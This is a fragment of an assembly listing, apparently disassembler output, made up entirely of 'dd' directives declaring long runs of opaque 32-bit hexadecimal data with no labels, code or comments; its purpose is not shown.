		dd 2E5D0515h, 4E7C22E9h, 0DFE6D0BBh, 5B950ED8h,	60763E96h
		dd 79BFF997h, 625C6D48h, 9AFF252Dh, 82018982h, 0D014A1FAh
		dd 8A5BFA94h, 515A85F5h, 2D0005A8h, 0E9059642h,	0B7C75EAFh
		dd 0EE935BC3h, 0E3D1C97Bh, 0EDC4D445h, 10C7CEFAh, 5B3BF57Bh
		dd 2A808327h, 1D51850Fh, 0D6E87ED7h, 2D2020B2h,	0CD90883h
		dd 2C96E972h, 0DC60F630h, 3EB55104h, 0F7F52680h, 0C9CC4E62h
		dd 0E9128D06h, 69D4C471h, 4D5588C0h, 0C72601Bh,	410D0B8Ah
		dd 1236AE80h, 15F2DB8h,	434E102h, 9F20829h, 11701B65h
		dd 43A101D7h, 0E44769E0h, 929028F6h, 685725D7h,	7FF38EDAh
		dd 1BC8FD45h, 0D686C42h, 0B7EC5D1Dh, 0E94C519Dh, 5315B340h
		dd 0B0060C25h, 0D6D79E6Dh, 4297E026h, 3E8D091Fh, 41CEF60Ch
		dd 61665CD8h, 0B0500573h
		dd 13C38885h, 81B404CBh, 0D9CB12E5h, 16C2B64Eh,	5EB9F49Eh
		dd 0FE21D498h, 0FBBC18B7h, 657A2814h, 6D871608h, 0AE00B3Bh
		dd 0C5B72ED8h, 0B5CA2043h, 0F5250BF9h, 0C5243EB4h, 0CCE2FD02h
		dd 4048017Bh, 2074602Dh, 0C631C912h, 0F1F98009h, 0FFD0495Dh
		dd 86FEC262h, 0E5ECDF43h, 0FB31395Ah, 0CEE22694h, 64E4B5C5h
		dd 0FFF41525h, 5D544B18h, 3344524Ah, 7141392h, 0FA7AB21Fh
		dd 9540015Fh, 7B035643h, 0CF522803h, 4930E712h,	0C15B9C15h
		dd 6FD45A18h, 6B43FB3h,	1A0109C6h, 2F77FBAh, 5648D9h, 0C307352Dh
		dd 6812A0B0h, 60CC0E6Ch, 677E1F34h, 38F04B71h, 0E4531019h
		dd 0B06F37ACh, 275408AAh, 0DDFABE77h, 503BC157h, 0F53C050Ch
		dd 417DD22Ah, 40FB9A03h, 53B4AFF3h, 5660A732h, 68034AF3h
		dd 92C40CDDh, 15AB8737h, 68826ABCh, 0DDD9507Bh,	31B91CB0h
		dd 98594E60h, 0E92F549Dh, 68D46019h, 0F64D5A6Bh, 0CFA1C439h
		dd 1FA8F0D5h, 0D17AA25Ah, 91225A2Eh, 16725A05h,	20A37DE9h
		dd 48757289h, 7821009Fh, 0B777DB57h, 40EEBE41h,	6BD5508h
		dd 3D400A1Fh, 4C14F501h, 0C8270F8h, 10F03360h, 95B03AD8h
		dd 0F65DAD60h, 0A102397Eh, 774CCA4h, 3C1B830h, 282AB450h
		dd 0AB9C58E6h, 2C93A1B2h, 1D30E9DFh, 6CC35B66h,	0A1A94E3Dh
		dd 5732104h, 5B16BE08h,	0D6123009h, 8750C502h, 56FE8BEAh
		dd 0B5616349h, 5084C8C0h, 0E8395A8Ah, 2A066A14h, 68C92E0Bh
		dd 2C3342FCh, 25115B1Eh, 0A2854F9Ah, 0A55DACFAh, 6F220BFBh
		dd 7046CB41h, 6AF203E9h, 5512EF6Bh, 1199A02h, 9470B0F7h
		dd 631B9922h, 8BF202C6h, 2916A77Eh, 5606D0E6h, 437A1E68h
		dd 1341611h, 0A74E7FD4h, 0CE955512h, 86C9CD75h,	4E1A80E9h
		dd 58A45B49h, 0BAF9206Ch, 2EF1F3DEh, 0D2603959h, 1DF19502h
		dd 426A564Bh, 8309F1D7h, 25238B3h, 0DE1660C6h, 20405E31h
		dd 0C0304A79h, 6C650C06h, 0BC0F4EDDh, 7E57CBD4h, 9371D265h
		dd 17562217h, 922FE004h, 0CD0ADDAFh, 0AC2220E3h, 54612216h
		dd 71E89518h, 0BCD6D23Bh, 0DCEFF49Eh, 0F27E9E6h, 0BD8021C6h
		dd 40F28427h, 3B012957h, 0EB0366F1h, 937528E2h,	3DE9DFC8h
		dd 20A6BF52h, 2B792014h, 35589BA1h, 0D6AC2EBFh,	63A34BB4h
		dd 0D37D1C62h, 0C71AAF82h, 19ED8A82h, 0F7FD2902h, 300C6F64h
		dd 9CA714BEh, 616677B6h, 50B7B437h, 0AF167F28h,	845524EEh
		dd 6032BC35h, 1F53BD0Eh, 0C7E9EFF1h, 801426F3h,	0EE9939F3h
		dd 20D0647h, 6FA40FDh, 2DEC7ED0h, 2CDEA9E4h, 0AEE08896h
		dd 0FC282CF8h, 0EB823DF3h, 6933E99Fh, 3A31D744h, 0BEBF0CE4h
		dd 0C27F3EEDh, 52555FC0h, 57E912C5h, 8468A239h,	5909CC10h
		dd 5158EAFCh, 2505E6B9h, 44F623EDh, 1A44E9C0h, 4D1248BEh
		dd 0C0DA4F77h, 8CB22D62h, 98AA218h, 0B7207AF4h,	50F0BBC4h
		dd 4B3DCD4Dh, 496605B0h, 0F4BF84Bh, 377234EBh, 11E58350h
		dd 0B5EDC45Fh, 40C1AE85h, 0F699F7A7h, 0E73CC0D7h, 0BACF1E02h
		dd 0CE2DEFCFh, 0FD30E2C7h, 3B25DD5Bh, 0EE8953DCh, 0B8D298CBh
		dd 0BB90269Fh, 950CB4ADh, 3C5D158Bh, 0B1E91866h, 1BE4BE1h
		dd 61814A16h, 0BC648B4h, 0D97BD079h, 0ED811474h, 6F692817h
		dd 7DB28C42h, 86A25492h, 0A2F75C85h, 0AF08705Ch, 0C6CF8F89h
		dd 0B710B1D4h, 0FFE8E30h, 279271BFh, 6BE7F7C0h,	0C32DDE7Eh
		dd 16ADE4FAh, 1ED45E8Eh, 0F62425F8h, 0AACBBF3Ch, 0AA112384h
		dd 307957A2h, 0F329177Bh, 0B0320D51h, 94C4722Eh, 0DD60FFBBh
		dd 9958B75Ah, 10CAD14Ah, 7E504242h, 0BA42B827h,	0BF8D9AA2h
		dd 0A6ACD473h, 0E2ADCA13h, 1A87B1C6h, 0AC403D65h, 686B34C2h
		dd 7EA5BD5Eh, 0B8055F38h, 1076957h, 60BE3770h, 0B6A9803Bh
		dd 2B4C800Fh, 65CA030Fh, 0B00169F2h, 0B235F8E9h, 5B525CA0h
		dd 0BAE1F09h, 0A8033482h, 4FF8B900h, 0C4505EEDh, 55B5EF36h
		dd 0DDD40C88h, 7FB6520Fh, 10F0388Ch, 74610BBAh,	0E61005A5h
		dd 5F8208CEh, 8275A489h, 0E49C41BBh, 1C7C1606h,	7CA2E51Fh
		dd 98AB8427h, 0BBDCB404h, 0A5AAF9C4h, 611FFCD4h, 58C1F482h
		dd 93A4C3F4h, 332E7614h, 39F05F81h, 1771044Fh, 0AA6C2960h
		dd 0C401AB2h, 0EFDECC5Dh, 0B7294Dh, 1338FCD4h, 250CFA1Bh
		dd 579A0133h, 8C0AEC61h, 1354312Eh, 0E6705FF9h,	0EE3A87CAh
		dd 0A5BCD2DFh, 410BFAD6h, 0B713EC53h, 5090C79h,	3CD85962h
		dd 0ABCAD83Fh, 69861932h, 0AC3E5C3Ah, 7BE94FB6h, 0F936882h
		dd 0C588D955h, 1EE0CE9h, 51BD5BF5h, 494E62F8h, 828A05F1h
		dd 0C089B973h, 0B66E646Fh, 99F050ABh, 788C9897h, 622C9C2Dh
		dd 67F56EADh, 0CA5D921Ch, 49F84F07h, 3FC127B1h,	4A7B1EB7h
		dd 0BDC68091h, 72247439h, 3310560Ah, 542D5801h,	0EC168363h
		dd 469F50AFh, 373DFDB0h, 86B8FD4Fh, 252860CEh, 0A5D7D4B7h
		dd 89C347BDh, 971A1CF8h, 5FA640h, 69A3D78h, 0B0B4EF87h
		dd 95E9163Ah, 81BB2A40h, 7B6AB663h, 147D2750h, 94F69A6Eh
		dd 0EFBC377Bh, 45F65C92h, 5AB37510h, 0F61F65A9h, 6EA48033h
		dd 0E9F78957h, 0CD07534Fh, 0DD2FAD66h, 0A9F234FDh, 2C62E180h
		dd 11A1473h, 841B4C5h, 0C15E466Ah, 4E608040h, 0A958495Eh
		dd 0FCF0F238h, 3B68941Eh, 1C7FC7A7h, 62E91232h,	8C2045B7h
		dd 83D6B658h, 120D3BE9h, 30224D2Bh, 8019B628h, 3AC0F648h
		dd 0E6BDE020h, 4F5C2A93h, 0B61B250h, 0DE793CE9h, 3B2F8BEDh
		dd 535DD618h, 3F6004B8h, 4CB4C541h, 32257BC6h, 88E61B9Bh
		dd 8BA47975h, 0B7DF280h, 0F04504FCh, 72F10907h,	4EC88ECh
		dd 0A50FBC4Fh, 9D6603BDh, 76A8D27Eh, 9292463h, 0D474ECA7h
		dd 3AE19FBEh, 5AB25E6Fh, 8050EF85h, 591A1510h, 0EB87001h
		dd 29CD3092h, 0C092EC23h, 0B3B850FAh, 78D80300h, 8D443425h
		dd 1E0D7748h, 8F62C07Ah, 42E0764Eh, 0C8724C35h,	58FA42EBh
		dd 0E5A589F9h, 7DB981EBh, 0F83DBE36h, 5F17B6C9h, 0C5F26F34h
		dd 0DC254017h, 0A501F342h, 0E9386203h, 0BC3BFAFCh, 360481B2h
		dd 0C8D27F4h, 605A25ACh, 5B1701E4h, 0BABC466Bh,	841A5D27h
		dd 3276B646h, 0B8E2D180h, 2EECE205h, 8BB4CD6h, 3D3EF116h
		dd 85280FF7h, 8CA9676Dh, 0E8C6D709h, 892CD69Dh,	0F5A5CBCCh
		dd 4B8DAE54h, 10691B3Dh, 5A4B2BE6h, 30E929FEh, 23C4112h
		dd 0E9E9CFF3h, 90540127h, 1B2F2704h, 0C1269F80h, 0E9FF0C09h
		dd 0C3ABD4BAh, 54D6231Fh, 0F2677025h, 35DE07E7h, 65C13665h
		dd 5072A103h, 5A7D0450h, 68933404h, 32EB2BD5h, 0A9E930C7h
		dd 65BC3A5Eh, 4F0BCFB4h, 852970ABh, 6ECE2FD8h, 1EAF7C68h
		dd 49C59F51h, 0A0225989h, 7C40F162h, 16F85C4Eh,	0C0F73726h
		dd 3A8E1878h, 5167B99Eh, 14CA86C7h, 3A02B040h, 776F9236h
		dd 3830005h, 0F766F25h,	0D058F741h, 3B5F20BFh, 1D922B2Ch
		dd 851390DFh, 1C013CFFh, 0CB1F5A05h, 32BF290Bh,	2FA3CA27h
		dd 0EC55358h, 717F548Bh, 802C44C6h, 5FAC745h, 955B2553h
		dd 0CFECAAh, 40B432B6h,	5A09F428h, 603E4C0h, 439574Eh
		dd 606A9FC2h, 0C16D8023h, 7A7C5C0Ch, 18C7E11Fh,	0D9BE35D8h
		dd 0DBD1E587h, 46C008A7h, 80257486h, 0B7B27072h, 3625D71h
		dd 224E7FF0h, 792C3BDh,	7608ED7Dh, 0E769EFC9h, 6497B158h
		dd 0C5293EC0h, 5B860925h, 4C18A05Bh, 0F1FE6B6Dh, 0E10DD348h
		dd 0F7652F86h, 973A1EEBh, 6834429Dh, 64545320h,	0C50E1D62h
		dd 10718962h, 5E277EF1h, 0B708801h, 1885C2Dh, 44CFEB81h
		dd 44803ECDh
		dd 58D3641Ah, 933F113Ch, 24F1C818h, 0FB097E50h,	8F32936h
		dd 0F824089Fh, 0F5F6CF09h, 7F86FF19h, 32A8C517h, 0FC1982E5h
		dd 6972F80Ch, 40554C7Fh, 12A5C7C8h, 0BA8EBDFDh,	0DA31F104h
		dd 16BEEA00h, 0E91F4CCEh, 7FE50F6Ch, 567F0514h,	5F13DB30h
		dd 2E45E0C3h, 0AFAE3B90h, 0F528D276h, 3D5DE609h, 0E8C67F4Bh
		dd 0AF0C1924h, 0A945E909h, 0F2384269h, 5DC80BEBh, 26D66DD3h
		dd 9737327h, 0A3CEDDA4h, 0D3A44197h, 0B9A6302Eh, 617DC565h
		dd 0E34B3324h, 82CCFAC8h, 0E0BA8049h, 6CA9540Dh, 85F47629h
		dd 0EB6BC150h, 84FB06F9h, 0C122E1EDh, 786F5BC1h, 3CC56E78h
		dd 84F09214h, 0BB60ED5Ch, 4F5F0762h, 6315D05Bh,	440C4370h
		dd 606EBC1h, 6A799F02h,	7050BA15h, 0CDADEC4Eh, 3003A984h
		dd 4F1CE954h, 21EDA5B9h, 0C16CCCCBh, 504BC22Dh,	6E7C95BCh
		dd 4BD6592Dh, 0EC6B26D6h, 5A4189B7h, 8101F93Ch,	131FC7EFh
		dd 68A33B4Fh, 0F894EBD3h, 15DC80EEh, 0F2C14FFAh, 46213602h
		dd 6F9EA740h, 186E60C0h, 0AC148C7Ch, 5AAC314Fh,	531BC500h
		dd 4EE93C99h, 5885B792h, 1052BE95h, 0B90520ACh,	841E0507h
		dd 8088EBB3h, 0CC15081h, 0C50F4FE9h, 57B6B414h,	118BBF0Ch
		dd 0EF72A38h, 6C965603h, 2CC5CFC0h, 55B02119h, 29B0748h
		dd 2B3C45B9h, 49AB6957h, 991938D4h, 0CD79C265h,	3D2F6800h
		dd 27647AB6h, 64D6AFC4h, 42AB5DFAh, 52383789h, 3A9D5DEFh
		dd 0DD4E49C4h, 0B86FAE2h, 55E47C17h, 0D4C3B2DDh, 4062D276h
		dd 292C557Ah, 5A1312C7h, 0B5A431ABh, 0C8373FAh,	0E77FD468h
		dd 0C9854817h, 0D3FC92A4h, 5031E902h, 1AB31207h, 80760BC0h
		dd 0FDD258Bh, 0CBE80E90h, 0D10E7FC6h, 495BB599h, 52A8F328h
		dd 264E6968h, 909F7CCh,	82E9D1F6h, 28BE5221h, 11F7FE58h
		dd 123B21B9h, 0D2ABECBBh, 12AA7516h, 0F799EE2Eh, 0AC2AD935h
		dd 34EEE4E7h, 0BDF2910Ah, 1C5A035Eh, 9F712C35h,	0C913499Bh
		dd 77097472h, 0FF15474Bh, 65501040h, 0F892659Ch, 298427A9h
		dd 0C20104F4h, 3821C7C0h, 0B92A4A26h, 38BB4A3Fh, 2525E964h
		dd 394FE6A1h, 2CA44E74h, 7619006Ah, 0AD68085Ch,	2A133455h
		dd 10828191h, 0D731A041h, 0BEF8CBDCh, 76F38119h, 2E7C790Dh
		dd 11022280h, 0AAE92FFDh, 0D8540D05h, 239B51B7h, 2F3EAD28h
		dd 5825AF78h, 0FBA1A0E5h, 15C27EDh, 0D039127Eh,	952DE9C4h
		dd 3FD8E644h, 2AAC17D6h, 0E8F21E3Eh, 835E029Dh,	0BFE901E8h
		dd 68B3065Ch, 57EBCA55h, 0C80F7DE4h, 6F6E6A36h,	50287943h
		dd 0BB100461h, 3EAC058h, 80D2F604h, 1E14D8E2h, 52014B3h
		dd 553C3E0Dh, 6A4B9D00h, 28E92E9Dh, 171109C8h, 452707Eh
		dd 478918Ah, 3ABC131h, 585950B0h, 6C65FEE9h, 0E5B8A1F8h
		dd 5CC1C83Bh, 8974F1BDh, 410C361h, 0AE962CFBh, 85846292h
		dd 5A6ED1FAh, 0C3890173h, 0DD9F61FCh, 0D825F983h, 0D600E776h
		dd 8166D734h, 58A0BF6h,	6ED149FCh, 0A4685500h, 9311F038h
		dd 93892F7Ah, 0D54BC571h, 89A7D427h, 6E200BC6h,	12209003h
		dd 0AACC1614h, 2C489330h, 0E90C1230h, 413EF10Bh, 0C05902F7h
		dd 0DFF852C3h, 0A7970E4Fh, 0D2ABD625h, 0B5D1715h, 7C31F7EAh
		dd 0E09E540Eh, 26169EA0h, 10EE22FBh, 892C07F7h,	0E7049FDFh
		dd 624290C5h, 0B8C6770Ch, 880B52F6h, 85D6F6E6h,	31EFD1A0h
		dd 20086815h, 89958490h, 795AFEF4h, 92092B40h, 4162F021h
		dd 0C4C07B9Ah, 17743FC6h, 215A6C2Bh, 4FE181Ch, 88D675FEh
		dd 0B8435059h, 95F61517h, 7608E270h, 44A22602h,	90F501DBh
		dd 0C0ADCCD0h, 5B05D05Bh, 502CBA28h, 0C0E69F5Ah, 0DDF99547h
		dd 0E9F4A149h, 0BB006AF4h, 4B2D6B35h, 5534C114h, 9EBABE70h
		dd 45E1823Ah, 4BE19F6Fh, 0AA122B6Eh, 0FD9639E2h, 0FF3228E9h
		dd 62D1F997h, 5C064942h, 811ABC48h, 0AA45CAF2h,	90E06F55h
		dd 71C72D68h, 357E8BC6h, 42327995h, 0F35DF021h,	0A56884C4h
		dd 161AA364h, 0D3896FF0h, 4AFB0B20h, 0E70FF807h, 47BC97E3h
		dd 0B482D10h, 0CF4BE630h, 4BB70159h, 1A71E966h,	7DF6CF82h
		dd 6E5CE65Fh, 0D250700h, 98F53114h, 0E007E587h,	4B82B951h
		dd 6044A52Fh, 0F16D54E6h, 0FF095D61h, 0D21BF42Ah, 9E4CA349h
		dd 290E83C9h, 61C48200h, 5BBA002Ch, 7160B26Fh, 0FF29D2D8h
		dd 2FB0A01Fh, 6C86375Ah, 5517C00Ch, 41EBF709h, 2C26E486h
		dd 0D99A17Eh, 9235376Bh, 0D55A2BA3h, 0B9441F02h, 0FFCD8754h
		dd 9BD5E303h, 7332312Fh, 5ADB2829h, 3EBA902h, 5E3B9AEFh
		dd 0B7E7B067h, 0BF63072h, 99FFD97Ch, 0FD87FC4Ah, 16F0A06h
		dd 0CE57B0EEh, 0F4C6015Ah, 0B895BBD9h, 5B3668A6h, 453FCC12h
		dd 0EAD2017h, 0EEE46E95h, 0FC684B48h, 49C2A7CDh, 0BC2904ABh
		dd 39C4817Fh, 2EFC6527h, 0D51FCE8Eh, 96259E7h, 49364E7Dh
		dd 5EC9B456h, 9E9F16FFh, 1F57157Ch, 0B8E5E916h,	0EBC5F0Bh
		dd 4085E9E0h, 5EF081C7h, 45D06084h, 975D840Fh, 515795C2h
		dd 4D8F0251h, 6827089Bh, 0DCEF20D5h, 3C41964Eh,	2410D5FCh
		dd 3592AE5h, 4391B6EDh,	413F8C50h, 2B446498h, 345B5EDFh
		dd 596A19FFh, 3325DD68h, 45FA4FBCh, 0A97A539Ch,	33AEB577h
		dd 0F3BAE95Dh, 4CF99B75h, 0B9122BD2h, 0D6845576h, 418EB474h
		dd 7C09E902h, 0CD3116D9h, 4B0B004h, 0C7A1D6A8h,	3D0B59D4h
		dd 0E9E88738h, 82B88094h, 9DEFCD3h, 0C6759C68h,	2F19F201h
		dd 0AF742AE2h, 0CB126102h, 0A6D2837Bh, 67534FDFh, 0A83DD260h
		dd 0C806A65Ah, 57612971h, 4B2B020Eh, 0D3F730BCh, 80D4077h
		dd 38EB0E81h, 0E973EF91h, 0FE58101Dh, 1882E84Ah, 0BE500636h
		dd 661414EFh, 1504AF65h, 849A99EBh, 0E9E9B078h,	0BFEF9D33h
		dd 81B1B9E1h, 75CA0F92h, 0E250AADAh, 0F4EA1098h, 2800507h
		dd 0C8291141h, 0E907402Dh, 419012ABh, 0AFC1283Bh, 40F18963h
		dd 2D4856A4h, 0DE3176FBh, 0E70C55F2h, 572109D8h, 0F71B841Ch
		dd 0D35CCEACh, 0C726FEC8h, 5AEC812h, 0ABC1812Ch, 2180CCB7h
		dd 37E91C47h, 0FAF33E6Bh, 5065B6E5h, 0E64EE9F3h, 6DFFBD13h
		dd 4E8D0253h, 0E54B0F54h, 84AA23E9h, 0F7E09AE9h, 42B24BECh
		dd 1CF8E25Bh, 2A976926h, 0CE533909h, 2D52958Bh,	989F88FAh
		dd 6E36F6h, 85BA0FF0h, 0E905F5AFh, 339A0C28h, 0EB072C2Ch
		dd 0ECB16B12h, 0B01A4127h, 0B011B519h, 0F4AFAF43h, 1539669Ah
		dd 7FE99A97h, 755278F9h, 68518BA1h, 0D227AD0Eh,	9CFB2D51h
		dd 0FF2E8E66h, 6B34F430h, 0BED0B17h, 0FB31F915h, 12175C67h
		dd 5DD6360Eh, 0E9130720h, 6E448775h, 0CCEB315Ah, 4F16AD75h
		dd 0BC42E9Ch, 0DFD4B713h, 0DEBCCFC5h, 3C720981h, 5E0CD253h
		dd 7C59022h, 1EBC2DFEh,	255E9E8h, 0DFFF111Bh, 5A24BD67h
		dd 9919E08h, 4E7EFA29h,	2EF92BCFh, 38580223h, 0D680DF64h
		dd 318247C3h, 0B7B1F85Ch, 2D2564B9h, 9325D39Fh,	2DB8BC8Eh
		dd 68AC305Eh, 0B8614F14h, 0C7291C5Fh, 704794FCh, 0FD3D5C0h
		dd 83183038h, 3B17D6E9h, 56ADD8B1h, 315FD4E1h, 0FB096A33h
		dd 417CDB5Ch, 2F556AE9h, 0EFD2D6E6h, 43D195C8h,	0DF0B163Dh
		dd 17B265AAh, 0EA361642h, 57A85E69h, 0BDEB4E88h, 41C100D7h
		dd 2DB7C278h, 0BE50161Eh, 0BE10FA1Ch, 12E91607h, 0AD4005F1h
		dd 7BB04725h, 0C4CD4A0Ah, 3A6B814Ch, 0B9C3DF7h,	52EF0158h
		dd 0D0D7204Fh, 28922C16h, 0AC925ABDh, 0AE9B0B6h, 1C099246h
		dd 0D2B713B2h, 0EC2C1728h, 0E28017C1h, 53B52C04h, 2268C11Ch
		dd 0FC5C8E47h, 82E7D989h
		dd 923A0CD6h, 61DD4040h, 9044EE07h, 0B536091Ah,	290121E2h
		dd 0BB248AE9h, 0C188929Fh, 84BE00AEh, 0E937F780h, 71F8C527h
		dd 83A4966Eh, 0CC785AB2h, 702F0F38h, 0A474E59Dh, 0DAE22529h
		dd 686D30DDh, 7D9995DEh, 0DCB62E54h, 0BE32605Bh, 44091F55h
		dd 0F89CE97Dh, 0E4219546h, 8BA611D0h, 51CD426Ah, 4402442Ch
		dd 0AAE2FA01h, 0BA05805Bh, 352C4F60h, 81805E7Ah, 384287CAh
		dd 5682C13Eh, 3F500D4Bh, 5A348AF0h, 5A8FF3EEh, 0EF9B74BBh
		dd 5A8896D8h, 20D8CC87h, 37D4F04h, 0C1A84401h, 58250CD0h
		dd 86B1FAE8h, 1A43B880h, 4E2FF848h, 9D5077A9h, 421438A0h
		dd 2AF56881h, 5ADC317Eh, 997AD13h, 0BD94F0A6h, 0AAA49EB6h
		dd 1FDD6120h, 971AB3BFh, 0D3E25CA8h, 0C97809FEh, 439A65EEh
		dd 3D0A8190h, 9D25AB59h, 0B7110D04h, 246C9E0h, 0E980626Ah
		dd 0FF40B0Eh, 0B5401C8Dh, 0A74AB82Eh, 6F93C961h, 0B4431EC9h
		dd 5FD3B09Bh, 0EDF14029h, 94FAC1Eh, 22CD01CCh, 5F3878E3h
		dd 7C88178h, 42B084Dh, 1672934h, 121984FDh, 0E4B7A908h
		dd 39690BA0h, 0CA51D52Eh, 0BC7C0BDEh, 57D3298Bh, 52F3E1Ch
		dd 80D44A9Ch, 785816BDh, 0EFC1127Eh, 93C0EB06h,	9466166h
		dd 277DE951h, 94F395Eh,	2DE2561Eh, 75A70EF3h, 0EEECD51Ch
		dd 45795B9Dh, 0E0F8885Ch, 69014909h, 1313F340h,	0E56FD25Dh
		dd 8EC0A458h, 0DD0F740h, 0AC763969h, 0C8CF3580h, 0C5218D3Fh
		dd 0BA4B9F98h, 23CAB32h, 1B5D0D85h, 3902C8FBh, 932F5080h
		dd 245375F2h, 3C124DA7h, 0B9CE5F82h, 0A59ED089h, 0A0BD1BF0h
		dd 0C07C47BFh, 0A50CD242h, 17F03B3Ah, 0F141B9h,	8903EEABh
		dd 3409739Ah, 0C0D1D751h, 80689E10h, 0CF98C601h, 7A4AEE7Ah
		dd 0A9BBCE01h, 81F8F178h, 329102E3h, 3CE94DA2h,	3127AC54h
		dd 6F81FEBBh, 3F5165EBh, 3DAAAE23h, 25165B13h, 3E4BA504h
		dd 1FCB6803h, 0A9F53D1Ah, 93CF4027h, 25823022h,	0EF03D10Ch
		dd 0C829A307h, 646D58E9h, 0CAFC003Eh, 0C11AA015h, 5003E125h
		dd 5D068273h, 0FC22FD0Fh, 0D741056Fh, 77673BCFh, 0EE8A224h
		dd 105DA9D6h, 131EE3Dh,	361E3072h, 7E9E599Eh, 0F78CE897h
		dd 0DAAA0D7h, 0E0C564A5h, 0E12AB84h, 469954ECh,	993500C6h
		dd 0AC4362D0h, 97DABD75h, 0A43D0F12h, 27DA7A1Ch, 0EF627D16h
		dd 828383FDh, 55098728h, 7D24B0EFh, 0E11FC018h,	9FBD0555h
		dd 4659576h, 9F7C5DAh, 622F565Eh, 1BC81EF1h, 46305BDEh
		dd 0E681FE83h, 766B7FABh, 0FA08F26Ch, 1E0F7C42h, 0FB6894F6h
		dd 3BED3126h, 8C4A9D17h, 3E18AB4Ch, 2121405Fh, 15F19DD8h
		dd 5E64E9E7h, 3958E0B4h, 0E87B6C21h, 0CD449777h, 0CBD1909Dh
		dd 2FAD1657h, 3111205Bh, 29E4F258h, 0E104D1D6h,	13F2D157h
		dd 4F32B64Bh, 550F31AAh, 943F3D79h, 47F90419h, 3F80294Ah
		dd 0E7FA0222h, 0CA6E42EEh, 756CD53Ch, 4E1F5903h, 5058BA73h
		dd 126BE10Bh, 44215616h, 0ABB19BC4h, 4C85564Fh,	93CEBA77h
		dd 50AE9248h, 0F40286D7h, 4B1F8611h, 979A0A41h,	0DBE10141h
		dd 0A289A7Bh, 0AE782768h, 11C3688h, 8F7630BBh, 26E2203Fh
		dd 426D6F12h, 50033000h, 1232F4B8h, 13E976C0h, 0F52CAE59h
		dd 610BFC02h, 0ED68C508h, 7E422357h, 0E423DA2Fh, 355679AAh
		dd 802241D5h, 0DD6E2DFh, 1A485D3Eh, 2719A7BEh, 26A25ECFh
		dd 696374CAh, 0F710380Ch, 7586D550h, 44B00905h,	888EDD29h
		dd 704BED01h, 614534E0h, 874F90C5h, 9655EB50h, 2E456917h
		dd 0C1FE8700h, 25E907E6h, 0B1F919EEh, 850C6C88h, 0C1FAB1F7h
		dd 0F4F931B5h, 949C6FA8h, 67D7074Fh, 0F9E55D09h, 953A94A5h
		dd 50208164h, 59542882h, 79D00C7h, 90351786h, 0C080A37h
		dd 2F3623E9h, 1AD646A3h, 59CE0584h, 4F686BCCh, 0CB3EEC9Ah
		dd 0A865752h, 5F0014F5h, 2CF3814Bh, 0C00E3302h,	584F490Ch
		dd 0D8480172h, 0A0D0E2D0h, 1EA83F5h, 27E9EF50h,	18478B28h
		dd 825FF84Bh, 49229CE9h, 28DDE60Ah, 462FEA6Ch, 0B826B18Fh
		dd 50334DBh, 53782F88h,	21DED95Ah, 0FB591696h, 3EA6A805h
		dd 49B76840h, 3180C7FEh, 0E90A01EFh, 4FCC3851h,	17AE65FEh
		dd 726B4566h, 7D96E416h, 9DE4D85Bh, 560F2422h, 0C3011AFAh
		dd 180181D7h, 188333C8h, 767B2143h, 19170C7Bh, 731FEF4Ch
		dd 0ABC0294Ch, 58A4FD09h, 0C7CEA5F1h, 3BAECE20h, 60995B50h
		dd 685D0ED9h, 210D89D2h, 42D2F759h, 0AB681DE1h,	20780F7Ch
		dd 0D345716Ch, 0AA2A3EBh, 0D23ABC68h, 0BD9B898Ch, 298E13CAh
		dd 0B5830F4Ah, 0FDBB0210h, 0F86AFC0Fh, 6E279048h, 0B0C6ABDFh
		dd 0CCBC5993h, 27D7EE0Bh, 30954DECh, 0FE946887h, 0B058CEF2h
		dd 5720FB05h, 0C419C470h, 6808020Fh, 0EAD136C9h, 9F646180h
		dd 9CB8174h, 6ADD04F3h,	905F3DA9h, 0B71C2959h, 392C6A64h
		dd 0EA978092h, 30F4EF8h, 8C9FF15Eh, 281C34CAh, 0BAF8D05Bh
		dd 3343680Bh, 0B127E7C4h, 53507CA8h, 4A598F58h,	0E5BDD9C0h
		dd 1E080436h, 0EB5DEB31h, 8A564709h, 0D40B70D0h, 203E5C35h
		dd 9F602FCh, 0CE890D75h, 891BED7Fh, 7A1208E9h, 80AD0955h
		dd 52384EC1h, 522EF545h, 2CD0B9Eh, 0C4C4C8F6h, 0BEBC56BAh
		dd 0C07B3B99h, 1CF56AC9h, 303FA9B4h, 4CF11BE6h,	0D7C63DA8h
		dd 0F860A795h, 0DD6C700Fh, 18D289A9h, 0D4AD83BCh, 794E02E9h
		dd 54C04257h, 0C12414A9h, 2A021E53h, 767CB063h,	960E3F32h
		dd 1351A307h, 9E2DEE29h, 66BE2C6Bh, 23800C5Bh, 0A88B5FFDh
		dd 81F0CBCDh, 858A2AACh, 5F7F8140h, 549B8A31h, 5E4AF7E5h
		dd 0E916D0A2h, 4B41B864h, 9F537F8h, 80700EABh, 5A245B58h
		dd 2260CBF8h, 0C01CA6B8h, 0C5351502h, 7D48632Dh, 0D5854E8h
		dd 0CB402600h, 4E8C175h, 0A9F0092Dh, 6CFDF845h,	0DF9980B0h
		dd 2CE0253Fh, 780E6778h, 65560668h, 95A31E1Ch, 0C52D440Dh
		dd 0B90347E8h, 0EEFCDB8Bh, 92BF4DA5h, 0BEDAC15Ch, 0D85A34E3h
		dd 0F86AFE12h, 0E11FC340h, 8BCE2946h, 1009114Ch, 560C6AD8h
		dd 2194DE89h, 0F7F87141h, 0C3C6BF9Fh, 0DF035402h, 94C0118h
		dd 2C0ABA88h, 3A614FBDh, 75294DEDh, 135144C9h, 0E904BF0Ah
		dd 4CE85E0Ch, 0D17F59B2h, 0FA8289A3h, 111381ADh, 240D57CFh
		dd 0B7EECB1Ah, 0FDF80ED2h, 3A82D1F4h, 94D18B15h, 99ED5FD5h
		dd 667EA08Bh, 0B7EFD94h, 0E55F5AB9h, 0A06A132Bh, 6809BE30h
		dd 0D5425159h, 0A69455A0h, 117BDAEh, 8AF35EF2h,	2DF98816h
		dd 874CEC88h, 25FA015Ah, 5B8C9360h, 0F8ECABE7h,	0CB0435D2h
		dd 0B8FC658Eh, 707E8B9Fh, 71593446h, 91257D19h,	80E77118h
		dd 6D81F05h, 4B729358h,	0C1C5E912h, 0F46FAC29h,	6416163Bh
		dd 42126731h, 722B2EF1h, 5055E6D4h, 0CAF20225h,	319D7B10h
		dd 0DE9F86DDh, 85E918F3h, 0B252BD02h, 494438C5h, 2CD451A9h
		dd 9ABE7C04h, 2831ECF5h, 0A62BFE31h, 0FE0F5180h, 17F767CFh
		dd 88D1C7E1h, 0A03E5BE5h, 829F5C11h, 0D7C568BAh, 2A4E8AE9h
